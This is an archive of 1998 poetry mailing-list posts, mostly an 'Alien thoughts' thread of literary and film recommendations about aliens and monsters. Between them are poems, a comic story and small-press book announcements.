Re: the "Aliens" films, Kelly Hurley - a professor of mine here at CU - has a very good piece on the polymorphous sexuality of the monsters in _Posthuman Bodies_. And of course, Jung's _Flying Saucers: A Myth of Things Seen in the Skies_. His analysis of the UFO visions of an Italian chap named, improbably enough, Angelo Orfeo, are interesting and make for a fun read, too.

Patrick Pritchett

From: Christopher W. Alexander
To: [redacted]
Subject: Re: Alien thoughts
Date: Tuesday, April 07, 1998 5:10AM

you cld look at this against Enemy Mine - what
year was that? or, at the (very far) other extreme,
Alien and Alien 2 (I didn't get past 2...) - interest
ing that the first one is quite shadowy and spooky,
whereas the 2nd is much more action-oriented,
and both of a kind of bodily fear, bodily malfunction -
it's all gotten so bodily/sexual (and sometimes
BDSM-sexy) in the 80s and 90s...

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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158. Keston Sutherland
monsters
Tue 7 Apr 1998

I wonder if we might trace 'alien' semiology back to say Mandeville's Travels and beyond, back to Ralegh's journals also, that time when myths particularly of Indian and Chinese monsters (headless men etc) were abundant - have we run out of monsters on earth? A thought, k

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159. Susan Wheeler
Reading Announcement
Tue 7 Apr 1998

Oh hells' bells -- it's APRIL 9, very sorry --

Reading Thursday, April 9 at 8:00:

Susan Wheeler
Ann Lauterbach
Tom Disch
Richard Howard
George Bradley
David Lehman

(for publication of The Best of the Best American Poetry)

NYU Main Building
100 Washington Square East
Room 703

Susan Wheeler
[redacted]
voice/fax [redacted]

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160. Alan Myouka Sondheim
Re: monsters
Tue 7 Apr 1998

Oh you can go back to the Greeks or the Romans' Lucan, there are such things everywhere you look I think - I'm glad someone brought up Mandeville - I used the Travels at an Ohio conf. on narrratology - relating it to cyberspace...

Alan

On Tue, 7 Apr 1998, Keston Sutherland wrote:

> *I wonder if we might trace 'alien' semiology back to say Mandeville's Travels and beyond, back to Ralegh's journals also, that time when myths particularly of Indian and Chinese monsters (headless men etc) were abundant - have we run out of monsters on earth? A thought, k*

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161. **Cadaly**
thanks: userids and names
Tue 7 Apr 1998

Thanks! Actually, I have been thinking of it as abara-cadaly. So calalily, ko-daly, and caddy are welcome changes.

I have a friend with a corporate-rule id named mallard (seven letters: first letters of first two names, five letters from your last name OR five letters from your last name followed by ... although one must add letters if people with similar names are at the same company).

Maybe this will have a lasting effect on naming children. Naming so they have good userids. Maybe it's just another opportunity for renaming onesself (or being renamed).

Well, there is a superstition that a child is better off with initials that spell something (why my parents thought, "cad -- yes! it's a word"?), there is a lot of numerology related to names, and then one must always consider a monogram for all your shetland sweaters and custom made shirts and whatever else gets monogrammed -- towels?

There is a regular newspaper article that runs the popular names for that year. It seems the female names are more subject to changing taste than male names (even though we live longer -- Hmm).

My sister and I change our names all the time. My grandmother changed her name to "Estelle" in the 20s and has stuck by it for 70 years. When I got to college, there was a group of people who tried to rename everybody. Oddly, these were not folk who ended up with much power. College on the east coast -- different world -- friends named Cheese, Bells, Wheels, Spoon.

Rgds,
Catherine Daly
[redacted]

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162. **Pritchett,Patrick**
Re: monsters
Tue 7 Apr 1998

In _Order of Things_, Foucault writes about "monsters," i.e. evolutionary variants vis-a-vis the fossil record, as signifiers of difference. Alien semiology, as you put it, is, I guess, a discourse concerned with identifying the distinctions that make (and keep) the Same the Same - much like the discourse of xenophobia. (I love Mandeville's Travels. One of those books, like Pliny's Natural

History, that one can read over and over for its liveliness and delightfulness of invention).

Patrick Pritchett

From: Keston Sutherland
To: [redacted]
Subject: monsters
Date: Tuesday, April 07, 1998 11:30AM

I wonder if we might trace 'alien' semiology back to say Mandeville's Travels and beyond, back to Ralegh's journals also, that time when myths particularly of Indian and Chinese monsters (headless men etc) were abundant - have we run out of monsters on earth? A thought, k

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163. Miekal And
Re: Alien thoughts
Tue 7 Apr 1998

Maz881 wrote:
>
> Take DMT.

> > Karen wrote:
 perhaps something more along the lines of what they might represent to
> > us philosophically/psychologically?

the world inhabited by crystalline machine elves is simultaneous with myth, ufo sitings, biblical miracles etc, ghost dance, ayahuasca ceremony, Don Juan fabrications.....

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164. William Marsh
alineanalien
Tue 7 Apr 1998

A L I N E A N A L I E N A
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A L I E N A L I N E A N A

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

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165. Christopher W. Alexander

Re: monsters

Tue 7 Apr 1998

Patrick wrote:
> Alien semiology, as you put it, is, I guess, a discourse concerned with
> identifying the distinctions that make (and keep) the Same the Same - much
> like the discourse of xenophobia.

> that's definitely one way of looking at it, e.g.,
> my earlier remarks on containment vis-a-vis
> the cold war... on the other hand, especially
> with respect to Alien and the Streiber thing,
> there's definitely another sort of invasion/
> containment thing happening, specifically
> with regard to the body and bodily function...
>
> so it could be understood in relation to the
> enduring attack on Roe v. Wade, or AIDS,
> or even the advent of the body as a site of
> power/contestation in poststruct. theory...
>
> (all of which wld be partial responses)
>
> now stop talking about this as you're only
> adding to my lengthy reading list!!
>
> > chris - etcetera

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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166. Aldon Nielsen
data quest
Tue 7 Apr 1998

last week the email system I use at school crashed -- I'm back on-line now, but have lost several people's addresses and messages regarding a variety of things I was supposed to be sendning to a number of people -- If I have told you in the poast few weeks that I would mail you something, please email me again with your address and a reminder

(Cabri: I think you're in this group!)

↑ Index

167. louis stroffolino
Re: alineanalien
Tue 7 Apr 1998

if i have a child i wonder if they'll let me name her ALIENA? c

On Tue, 7 Apr 1998, William Marsh wrote:

> *A L I N E A N A L I E N A*
> *L I N E A N A L I E N A L*
> *I N E A N A L I E N A L I*
> *N E A N A L I E N A L I N*
> *E A N A L I E N A L I N E*
> *A N A L I E N A L I N E A*
> *N A L I E N A L I N E A N*
> *A L I E N A L I N E A N A*
>
> *- -*
> *William Marsh | PaperBrainPress*
> *http://bmarsh.dtai.com*
> *- -*

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168. Maria Damon
Re: monsters, aliens, angels
Tue 7 Apr 1998

i remember a discussion on the list a coupla years ago (geez, i really am a veteran at this point) about gay writing and outer space --wm burroughs, jack spicer, etc. for those of you who will now hunt thru old epc files, i think the header was "boys in space."

At 12:08 PM -0500 4/7/98, Pritchett,Patrick @Silverplume wrote:
>In _Order of Things_, Foucault writes about "monsters," i.e. evolutionary
>variants vis-a-vis the fossil record, as signifiers of difference. Alien
>semiology, as you put it, is, I guess, a discourse concerned with
>identifying the distinctions that make (and keep) the Same the Same - much
>like the discourse of xenophobia. (I love Mandeville's Travels. One of those
>books, like Pliny's Natural History, that one can read over and over for its
>liveliness and delightfulness of invention).
>
>Patrick Pritchett
> ----------
>From: Keston Sutherland
>To: [redacted]
>Subject: monsters
>Date: Tuesday, April 07, 1998 11:30AM
>
>I wonder if we might trace 'alien' semiology back to say Mandeville's
>Travels and beyond, back to Ralegh's journals also, that time when myths
>particularly of Indian and Chinese monsters (headless men etc) were
>abundant - have we run out of monsters on earth? A thought, k

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169. Laura Moriarty
Re: Alien thoughts
Tue 7 Apr 1998

Karen et al -

An interesting book on this subject - which has maybe been posted already - I haven't read the whole thread yet - is Alien Zone edited by Annette Kuhn - about sci fi movies - As an inveterate fan I found it amusing -

Here also (what the hell) is part of a piece I wrote a while ago and have published in I think an old Avec -

The Thing

is sexual but apart. It is uncreated because there is no space. Or it fills the space with a sense of danger that is not like life. Though it is alive. It will fight to save itself and can be remade. There can always be a new version of the thing with contemporary actors and their attendant dangers.

Just as a statue glorifies marble or wax or butter, rubber is stretched over the thin. Ours is the language of lovers. It is shaped into resemblance. We get it from everything. We get more than that. Reading, repeating always

inaccurately what the other has thought with what intent is made clear only always later. But the substance isn't clear. There is no transparency possible at the beginning of life. We are the blind ones.

One thing is not like the other. Our relief is no less inexpressable for being premature. At times it is more written than spoken. Like the lines in a play before they are committed to memory. Actors can remember anything. Their cooperation reminds you that time is going by. The thing undermines the image in order to be an object.

Gently he bends me to abstraction. I urge him back. The thing hides is each of us. This is what it's like. We realize in the midst of the occupation that victory is a fact. An old story is seen differently. The parts as plain as day. As if there were something beyond suspicion.

There is a test. It has to do with what was said. A trick is played. The needle is off the scale. The actors are in bed. They need a pretext. Theirs is an organized game. We are tied together but only briefly. Understanding spreads over his face like blood under the skin. We let it out. "We abondon ourselves to what we see."

The thing is insatiable. It takes the shape of a wolf. You hold up your end of the conversation. An exchange of fire occurs. There is an echo of another animal. Thought becomes visible like a trail. A comprehensive examination proves to be just another in the chain of events. We are in the heart of the thing. We touch this is our talking. We feel

a melting at room temperature. Something gives.

Compromised by the obvious will to continue. An airless room on top of the world. Or the shape of a bird. Nothing can bring back that pattern. We have this to say about each other. You are fixed here. Thoughts can be read or only a dog simple sense of fear is left.

A song puts it in me.

They are alive but don't know what is going on. Someone saves it for them. They call it the world. A character lies down in the snow before blowing up. The thing watches from the shadows where we are. But we don't know. Eyes that stay open. No one has them.

Things are not black and white. We are not here anymore. Or it was and you did. And we are.

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

170. Aldon Nielsen
damn
Tue 7 Apr 1998

"It's a tough world
out there
and even tougher
when I write about it."
--Joe Amato, _Bookend_

Scrolling through the email that came in after our system demolished my mailbox, and now I come to this sad news. -- I had been keeping up with the progress of Joe's journey through the minefields,,,, had naively hoped, after he'd passed safely through the first levels, that all would be well --

as it happens, my small band of grad. students are reading Joe's book this semester -- they think it's great --

IIT == Illin' Institute of Torpidity

↑ Index

171. Maz881
Re: Alien thoughts
Tue 7 Apr 1998

Take DMT.

> *Hi all,*
>
> *This is perhaps a strange request: last night I had the most remarkable dream about extraterrestrials (something I've never dreamed about before) perhaps masquerading as god figures, but it occurs to me that I've always been too cynical to do more than assume extraterrestrials must exist. Does anyone have any reading to suggest? I'm not particularly interested in "proof" stories or "scary alien" stories, perhaps something more along the lines of what they might represent to us philosophically/psychologically?*
>
> *Karen*

↑ Index

172. **morpheal**
Re: Alien thoughts
Tue 7 Apr 1998

> *I have _Santa_ right here on my desk (the Leave Books version). It's killer!*
>
> *why we need them, etc. When I was almost 30 I came to "realize" that I had been abducted by aliens briefly in childhood, and I drew upon this experience to write a memoir "Santa," which now appears in my book "Little Men" (which of course you don't want to miss in any case). I got some of it right, but Scott and Juliana get more of it.*
> *--Kevin Killian <---- space "cadet" fanboy*

One of the interesting books on the subject of alien intelligences is Colin Wilson's _The Mind Parasites_.

Well worth reading if anyone is seriously interested in "aliens" and the correlative possibilities as to so called psi-warfare.

Wilson rightfully refers to Husserl's phenomenological method as of importance when dealing with those kinds of subjects.

M.

↑ Index

173. **Maria Damon**
Re: Alien thoughts
Tue 7 Apr 1998

---

ps when i first saw this heading i thot it sd Allen thots, and was reminded that it's just about his first yahrtzeit ? yortzite (sp)? such thots i have of you tonite, old allen-pie, with your frail limbs and petulance, with your expansive numen and sweetness, with your eyes of death and life.

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174. **CharSSmith**
new Gustaf Sobin chapbook -- Arcturus Editions
Tue 7 Apr 1998

---

announcing the publication of:

Gustaf Sobin, A WORLD OF LETTERS

Arcturus Editions
ISBN 0-9661505-1-1
$8.00, 16 pp., 6 3/8 x 9, letterpress on Mohawk, sewn Canson wrappers
$20.00 lettered & signed edition, printed on Rives lightweight
Five new poems, including "Transparent Itineraries: 1996"

An American poet, novelist, and essayist, Gustaf Sobin resides in the south of France. Recent volumes include _Breaths' Burials_ (New Directions, 1995), _By the Bias of Sound/Selected Poems1974-1994_ (Talisman, 1995) & the forthcoming _Towards the Blanched Alphabets_ (Talisman, 1998).

... laying, within a plethora of
shadows, those
hard sparks: ‘phonemes,’ you’d called them, what
hissed, needle-
thin, through the very depths of
that dark
air.

Available from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710;
[redacted]; [redacted]

or from the press, checks payable to: Charles Smith
CA residents, please add 7.25% sales tax

Arcturus Editions
2135 Irvin Way
Sacramento, CA 95822
[redacted]

*** apologies to all who receive this announcement more than once ***

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175. **morpheal**
Re: Alien thoughts
Tue 7 Apr 1998

> *I love the way Juliana Spahr depicts the effects of "alien" beings on our beings in her book RESPONSE (Sun & Moon, 1996). Notley has some new poems that deal with aliens (I think I saw them in GARE du NORD #2).*

I guess, if the aliens are there, we had better learn to defend against them and make sure they do not invade any further...into our world. After all how do we know who the aliens are in league with ? Could be anyone, or only in it for themselves, couldn't it ? We do not trust foreign governments. We do not even trust our own governments. Why would we trust "aliens" ? Something is very very wrong with this scenario.....

> *There are some scary books by Whitley Streiber--one of them is called COMMUNION and is very scary. I'm still afraid of the dark! (The most scary thing is that his aliens can "get you" even if someone else is in your*

> *bed--or even if there's a cat or dog around... They can put others into trances and stop time and stuff like that...).*

I do not take Streiber seriously. Streiber has an overactive imagination. His ideas about remote viewing are absolutely silly, but the silliness does not stop there,...Most of what people believe about aliens is silly. Most of what is written about them is silly and completely conjectural.

> *The movie version, which stars Christopher Walken,is very scary--but also surprisingly philosophical in its approach and in its implications... I highly recommend it.....*

I think it all boils down to this:

Rule 1: NEVER OBEY ALIENS, NO MATTER HOW NICE THEY SEEM TO BE, OR HOW NASTY.

Rule 2: If you do not know who they are, with certainty, then assume that they are hostile, no matter what they say to attempt to sell you on some wild idea. You have to know, for sure, whom you are dealing with, or you are likely to get taken in, and in a big way.

Rule 3: Know your own mind from whatever is the of the minds of others. That rule is difficult to follow, and very important.

Rule 4: Imagine a foreign country that wants to undermine the ability of our countries to defend themselves, and wants to convert the citizens of our countries to ways of thinking that will overthrow the political system we live within so that that other political power can take this part of the world over for their own purposes. Would they decide NOT to use angels, aliens, and anything else they could recruit, conjure up, and use for that purpose ?

Shades of Stalin and Hitler ! We might be being had, not by aliens in the truest sense of it, but by a foreign power that has developed a technology in excess of our own. Could be any competing foreign power couldn't it ? And we are going to sell this out to them ? No way....

After all they are aliens and we are the resistance. If they exist then we are the resistance against an uninvited invasion force, that does not seem to believe in proper diplomatic channels....Definitely not nice...Not nice at all.

Now, where are those plans for that new device that shoots aliens dead.....They must be somewhere around here.....

Repeat after me....

We are human beings who absolutely refuse to be taken over, bossed around, brain washed, programmed, manipulated, used or abused by aliens. We will fight to defend our kind against their kind, using every means we

have, with the aim of protecting our freedoms, our species, and its unimpeded evolution.

Now, why is no one saying that about aliens ?

Do they want to be taken over by hostiles ?

Gee.....something is wrong.

(Are we paranoid enough...yet....<chuckle> That's it, I have had my fun with this thread.....)

M. (Decisively NOT an alien.)

PS. Accounts of extraterrestrial encounters and anomalous experiences are of great interest to me, and if anyone has had any and wants to enter a serious analytical discussion on that subject, welcome to write and describe your experience. It is far from being something to be laughed away, but "everything is what it isn't" when it comes to such things and a critical skepticism is necessary for understanding even if not always for survival. Though it can be important for the latter purpose also.

M.

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176. **morpheal**
Re: Alien thoughts
Tue 7 Apr 1998

> *it was generally not until the 80's that the aliens became nasty. interestingly, in the 1950s/60s/70s as rockets & telescopes reached out further into our solar system & beyond, so the aliens came from further afield. i guess it's no longer possible to claim to meet farmer bob's venusians. pity ...*

The "aliens" became nasty when the "Cold War" heated up.

No further comment.

M.

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177. **morpheal**
Re: Alien thoughts
Tue 7 Apr 1998

> *Re: the "Aliens" films, Kelly Hurley - a professor of mine here at CU - has a very good piece on the polymorphous sexuality of the monsters in _Posthuman Bodies_. And of course, Jung's _Flying Saucers: A Myth of Things Seen in the Skies_. His analysis of the UFO visions of an Italian chap*

> *named, improbably enough, Angelo Orfeo, are interesting and make for a fun read, too.*
>
> *Patrick Pritchett*

This I like much better than the other threads in that fabric.

This thread leads to the idea of the poetic body as the body of flesh transformed by whatever means, to increase human diversity to new breadths rather than using science to constrain human diversity.

Humans could become their own demons, angels, aliens of all kinds, and even monsters of nearly any description, within a wholly transhuman context. All kinds of symbiosis, modification, and implantations, would become increasingly possible and available.

In that there would be new possibilities, that some would choose to explore, as to creativity. New symbols, new meanings, a new non verbal language of metaphors that say something that could not be said before and define new kinds of human relationships that perhaps, in some ways, did not exist before.

I think that can be something very positive. Even in its more unusual forms, as long as it is something that individuals freely choose to express, as part of their own self expressions, their own particular body poetic, that they share communicatively with others.

M.

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178. **Aldon Nielsen**

Re: Alien thoughts

Tue 7 Apr 1998

At 07:54 PM 4/7/98 -0400, you wrote:
>>it was generally not until the 80's that the aliens became nasty.
>>interestingly, in the 1950s/60s/70s as rockets & telescopes reached out
>>further into our solar system & beyond, so the aliens came from further
>>afield. i guess it's no longer possible to claim to meet farmer bob's
>>venusians. pity ...
>
>The "aliens" became nasty when the "Cold War" heated up.
>
>No further comment.
>
>M.
>

I recall a certain degree of nastiness in WAR OF THE WORLDS --

things have changed now, certainly -- pods have taken control of all tenure decisions --

↑ Index

179. Billy Little
alien is beautiful/alienated @birth
Tue 7 Apr 1998

---

skiprope logic (for gino couer de Lion)

martians are beautiful , voluptuous, seductive
Marilyn Monroe was a martian
she turned on the red light at
every intersection in Saskatchewan
and every foyer on Knob Hill
could smell her coming from Vista del Mar
everyone whose name begins with the first three letters of Mars,
it's their recognition code, like Mac for Scots, Mary even,
the mother of god was a martian, every Martin you know
's a martian, all of the Maryknoll priests are martians,
Mark whatshis name who killed John Lennon
was a martian friend of George Bush,
Bob Marley , a rastamartian,
Peter Pan played by a red planet actress, Mary Martian,
Martha Stewart is not living on marzipan
the state of Maryland, next to Clinton's capitol,
is an interplanetary landing/launch platform of Mars,
a marshmallow roast is the martian sacrament,
years ago at the oscars everybody knew Marlon Brando was a martian,
marinating aids the martian digestion of Mary Tyler Moore,
a martini is a martian transfusion martinis are preshaken on Mars,
when people say marvelous simply MAHvulis
they usually are talking about MAHtians
like Marilyn Monroe who never wore underwear
and slept with other martians like Artie Miller and Groucho Marx
and like Marky Mark who wore underwear only
 Marvy Marky part of the same martian family as
the Marquis de Sade and Don Marquis
the red planet's their home by yiminy
Marnie left the teethmarks of a Martian in my shoulder
'd emptied my watergun in her face

lost his marbles, claims to come from Marpole
an imposter from Marseille overdosed on marmelade,
Lee Marvin, Martin Buber, Dean Martin and Martina
Navritalova all spell their real names in the same
martian alphabet Karl Marx translated his indecipherable
marsterpieces from. Marshall Dillonand all of the married,
the marines and the marijuana smokers tied up at the marina
drinking margaritas once frequented the bars on mars
like Marcels Proust and Duchamp reading cette bicyclette in the gaslight
and all the martyrs, St Valentine, St. Thomas, Norma
Jeanne d'arc, Giordano Bruno, Albert Anastasia,
my favourite martians, crucified, burnt at the steak sauce.

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180. morpheal
Re: Alien thoughts
Tue 7 Apr 1998

> *the world inhabited by crystalline machine elves is simultaneous with myth, ufo sitings, biblical miracles etc, ghost dance, ayahuasca ceremony, Don Juan fabrications.....*

Gurdjief said it happens when you remove the "kunundabuffer".

Remember the alien spaceship is involvede in that story also. And that was quite a long while ago....

M.

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181. Steve Carll
Antenym 15 is published
Tue 7 Apr 1998

(Apologies to anyone who receives this message more than once.)

Antenym 15 is now available for $3.00 plus $1.50 postage payable to Steve Carll.

Antenym 15 features the complete text of Eric Selland's chapbook THE CONDITION OF MUSIC, 28 lyrical, thoughtful prose poems, plus work from:

Stephen Collis (Vancouver)
Norman Fischer (Sausolito, CA)
Ann Erickson (Santa Rosa, CA)
Celestine Frost (NYC)

Jim Leftwich (Charlottesville, VA)
Patrick Pritchett (Boulder)
Elizabeth Robinson (Berkeley)
Joe Ross (San Diego)
Standard Schaefer (Pasadena)
Paul Silvia (Lawrence, KS)
Perrin Wright (Brooklyn)
and two front covers (!) designed by Spencer Selby and Steve Carll.

The magazine is going on indefinite hiatus after this issue. I'm moving to Honolulu, Hawaii in August for a year and pursuing other projects. Until then, correspondence may be emailed to me at <[redacted]>, regular mailed to 106 Fair Oaks St. #1, San Francisco, CA 94110-2951, or you can phone me at [redacted].

Also available:

Antenym 13 and 14: parts one and two of the "Ontological Activism" theme issue. Each issue is 50 pages long and costs the same as the new issue ($3 plus another $1.50 to mail).

SINCERITY LOOPS by Steve Carll. I printed up another 60 copies of this chapbook, which takes pop song lyrics and rearranges them one-for-one into my own syntax. It's $5 (postage included), but I'll consider trade offers too (same goes for the magazine, for that matter.)

BRUSHSTROKES by Steve Carll. Published by black fire white fire in Berkeley, this tract-sized chapbook is available for the asking if you order one of the above, or send me a #10 regular (4 and a half by 9 and a half inch) SASE.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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182. Rachel Levitsky
Re: announcing 2(1X1)
Tue 7 Apr 1998

---

my book _2(1X1) originally published as a potepoettext
--http://www.burningpress.org/va/pote/potet08.html--

has now been published by Baksun Books, with a lovely
letterpress cover (by Michael Smoler), msword drawings, and some nice
hand-made paper on the inside.

If you'd like a copy, I'll swap you a book for a book or take $5.00.

My address is: Rachel Levitsky
P.O. Box 1771
Boulder, CO 80306-1771

It just started snowing like crazy outside. It's so pretty I can understand the obsession. Wee.

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183. Daniel Zimmerman
Re: Alien thoughts
Tue 7 Apr 1998

---

morpheal wrote:
>
> >it was generally not until the 80's that the aliens became nasty.
> >interestingly, in the 1950s/60s/70s as rockets & telescopes reached out
> >further into our solar system & beyond, so the aliens came from further
> >afield. i guess it's no longer possible to claim to meet farmer bob's
> >venusians. pity ...
>
> The "aliens" became nasty when the "Cold War" heated up.
>
> No further comment.
>
> M.

Remember the classic Forbidden Planet of 1954 [?], which followed Pogo's view that "we have met the enemy and they is us" -- "creatures from the Id!"

Dan Zimmerman

↑ Index

184. **George Bowering**
Re: Alien thoughts
Tue 7 Apr 1998

> *Anyone else got Atlantis poems??*
>
> *--Rachel Democracy*

Well, about 30 yeaers ago Louis Dudek published a booklength poem called _Atlantis_

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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185. **George Bowering**
Re: Alien thoughts
Tue 7 Apr 1998

> *ps when i first saw this heading i thot it sd Allen thots,*

Wasnt it an Alien who said "First thought best thought"?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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186. **Peter Quartermain**
Re: Alien thoughts
Tue 7 Apr 1998

Aliens?

There's the novels of Octavia Butler, especially the first of that amazing series of which perhaps someone can remember the name. Very much into the psychology of alien-ation. So too perhaps the work of Phillip Mann _Eye_of_the_Queen_ ((Australian, I see to recall).

Science fiction is of course full of a lot of junk, but there's a bunch of stuff in there: LeGuin _Left_Hand_of_Darkness_ comes to mind.

PQ

At 09:03 PM 4/6/98 -0800, you wrote:
>Karen Kelley wrote . . .
>
>>This is perhaps a strange request: last night I had the most remarkable
>>dream about extraterrestrials (something I've never dreamed about
>>before) perhaps masquerading as god figures, but it occurs to me that
>>I've always been too cynical to do more than assume extraterrestrials
>>must exist. Does anyone have any reading to suggest? I'm not
>>particularly interested in "proof" stories or "scary alien" stories,
>>perhaps something more along the lines of what they might represent to
>>us philosophically/psychologically?
>
>Katy's already suggested Spahr's book "Response" which is a good one. Let
>me recommend a novel "Mysterious Skin" by a young New Yorker Scott Heim, it
>is really terrific and is totally about the psychological appeal of aliens,
>why we need them, etc. When I was almost 30 I came to "realize" that I had
>been abducted by aliens briefly in childhood, and I drew upon this
>experience to write a memoir "Santa," which now appears in my book "Little
>Men" (which of course you don't want to miss in any case). I got some of
>it right, but Scott and Juliana get more of it.
>
>--Kevin Killian <---- space "cadet" fanboy
>

+ + + +

187. Tom Beard
Re: Alien thoughts
Tue 7 Apr 1998

> So too perhaps the work of Phillip Mann _Eye_of_the_Queen_ ((Australian, I
> see to recall).

New Zealander, actually (teaches drama at Victoria University), but Yorkshire born. I haven't read much SF since puberty, but Mann's books go far beyond the strictures of the genre.

I'd recommend "Wulfsyarn" - not so much for the aliens, though they are interesting, as for the approach to human and machine psychology (the book is narrated by an 'autoscribe') and the fascinating take on the (possible) future of religion ('The Church of St Francis Dionysus').

Tom Beard.

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188. Karen Kelley
Aliens among us
Tue 7 Apr 1998

Of course everywhere I look now there are references to aliens, including this from sculptor John McCracken in my latest Art in America:

"Aliens are elusive and hard to pin down because of their other-dimensionality. I think there are actually thousands of extraterrestrials--and other entities that you wouldn't call extra-terrestrials--flying and running around, looking at us, studying us. While they may think we're kind of cool in some ways, even brilliant, I think they wonder how we can be so opaque, why we don't see them more than we do. It's amazing that we don't really see what's going on."

An interesting reminder that maybe our perception of multi-dimensionality is weak. I'm going to go back & take a new look at some of my brother's Seth books.

Thanks to everyone who sent recommendations.

Karen

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189. **Thomas Bell**
Re: notsotired chit
Wed 8 Apr 1998

I also had a look at tuggar's works (per our electronic miracle here), and wondered, were one inclinined to stretch the limits of poetry, would her works be considered poems? Or is this too conceptual, tom bell

At 09:27 PM 4/4/98 -0500, Wendy Kramer wrote:
>or, this tired lady, if you prefer... going to work, and lurking, and
>generally corresponding take energies, as well as give 'em, i
>s'pose, but so much of interest to comment on:
>
>1. to whomever posted about fatimah tuggar a big thank you!! you've
>recruited a new fan. went to see those two exhibits in nyc you posted
>about, and then today (couple weeks later) went to see her talk at the
>exhibit "keeping track of the joneses."
> some things i found inneresting:
>
>that she collages her collages digitally --oops, i mean on the computer,
>not digitally like fingers. but also that many of her pieces use "real"
>objects--a metal box with photos; cushions with photos of family members
>on them, around a digital-image round collage of an eating mat filled
>with products centrifugally (cant spell that) shooting; one collage was
>slide-projected onto a bath of yoghurt in a clay pot! you could barely
>make out the women holding pots collage in it, but once you made it out,
>you couldnt not see it!
>
>
>2. in response to the "how can you tell?" gender thread, well, i have to
>say that i dunno what you kin tell a woman or a man by what her/his
>writing/artwork looks and sounds like (naw!), but i _can_ say, for
>example, that when i first saw that post about tuggar i didnt know she
>was a woman, and when i visited the website and somehow found out, well
>it made a big 'ol adrenalin difference to little chit me.
>not sure all of why, but it's a sexual feeling, & too a role-model
>thing. not that i'm not turned on by poetry by men, and shit yeah, many
>men are also my role models, but...there it is. some kinda excitement.
>and relief and green-light GO! You TOO could do...
>like dodie (i think it was) said but in diffrent context thank god for
>kathy acker. it's been important for me to be able to see people about
>whom i could say yeah, "what SHE said" or "i wanna grow up to be like
>HER." i mean, i woulda loved gertrude stein no matter what her

>plumbing, but her being a lesbian made me--a late-teen-kid then-- her
>loving-faithful.
>
>3. oh yeah, one more thing. in the basement floor of the new museum
>gallery where we saw fatimah tuggar, we saw also a flea circus exhibit
>by another woman, Maria Fernanda Cardoso--complete with video
>performance of said circus, wherein the artist reigned Queen, along with
>related banners, placards, and glassed-in preserved fleas in progress of
>death-defying feats, such as tightrope-walking and getting shot outta
>cannonballs! o marvelous mayhem! amusement! what technical skill! flea
>circus-ing has a whole history (as do fleas in human society) about
>which i hadnt ('til now) hadda clue.
>
>

↑ Index

190. david bromige

Alien Dreams

Wed 8 Apr 1998

One woman's vivid dream of aliens could be another person's abduction experience. I have heard descriptions of alien encounters all along the axis from one to the other. One night when living in a remote place there came a knock at the door. My wife always said she wasnt afraid because he was an angel, she knew it right away. He was a well-mannered if somewhat familiar (with us, in his speech) angel, if so. All he asked for was a drink of water. A,l,e,n (g=i).

Manifestations are often in remote sites. Perhaps it takes silence and loneness to render aliens visible & audible.

When it comes to UFOs, however, I now hear the one we saw might have been only a hologram : "We have long had that capability," a government spokesperson said.

"Mah fellow-americans, people of the world, aliens have their weapons of mass destruction trained on our largest cities. We must comply with their requests. Starting today, the minimum wage will be lowered to 30 cents a day. All civil liberties will be suspended. Homeless people will be shot."

On a lighter note, our own George Bowering is the author of a novel called _Parents From Outer Space_ . Imagine! You're a teenager, you get home after school and you have two sets of parents! Come to think of it, there's something a bit eerie about George Bowering . . . .

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191. **henry g**
ally ally in free
Wed 8 Apr 1998

Jack Spandrift has never been abducted by aliens. But, as he was narratolating to me the other evening at Hokey's 2-Bit here in Pedalfast, Michigan, he did have what he called a 'counter. It was on the range. He had just settled into a deep cup of insta-joe, leanin against along beside his cow-chip campfire, when he thought he heard a faint buzzing sound. "Gotcha!" he muttered, slapping the left side of the back of his stringy neck. But the buzzing continued, ineluctably, indelibly, indubitably, in his ear, so he peered out into the rangy darkness. There it was. A rusted can of Folger's - BUT IT WAS GLOWING. Sighing, he picked up his trusty 22 (a sawed-off 44) & limped unevenly toward the caffeine apparition. IT meanwhile was rolling toward HIM. They both came to an abrupt halt about 3 feet apart, the can glowing a bright fuchsia, shaking and buzzing. Jack figgered a prairie dog musta gotten stuck in there, and become extremely decussed from his proper ectoplasm, emitting alienated squeaks of volatile perturbation which set his tin prison in motion in so remarkable a fash-ion, etc. Imagine our hero's consternation when the decayed lid popped open smoothly - and WHAT did he SEE - but a little... a little... SPACE CRITTER!!

Yes, it was an intelligent being of vaguely humanoid proportions - shrunk, as you can imagine, to coffee-can dimensions!! The little fella seemed without warlike intent as he marched formally toward Jack & presented him with a salute with one of his 3 arms. Jack - bones shaking, as you might guess, like an old tin can - squatted down slowly at critter level.

A little beam of ruby light came on over the mini's head - and suddenly a nasal voice emitted these words: "Jack, have you been keeping up with the poetics list?"

Jack scratched his head under his cowboy hat. "Well, no, lil feller - I been herdin earth cows since March."

"Well, get with it, baby. WE'VE GOT A MESSAGE FOR EARTH. And you'll find it on the list."

"Say... why don't you relay it to somebody else, okay? I got work t'do out here an them eastern media people give me the snuckers."

"Jack - tell me - what on earth do you mean by the phrase 'get the snuckers'?"

"Somethin between the jutters an the shickers, I guess."

"Dubious, Jack, dubious - & I think everybody here on Folger 12-B will agree. But let that pass for now. Just get back to your email, if you know what's good for you."

"Listen here, lil spacefella, I don't take orders from nobody but the trail boss, an you can - "

But before Jack could finish his expostulation, the Folger's can swept up his interlocutor and began spinning at a tremendous velocity, throwing off sparks at a G-rate of 2,000,000 to the f/x plus cream. Jack backed off as the cylinder dissolved in a precipitation of coffee fumes.

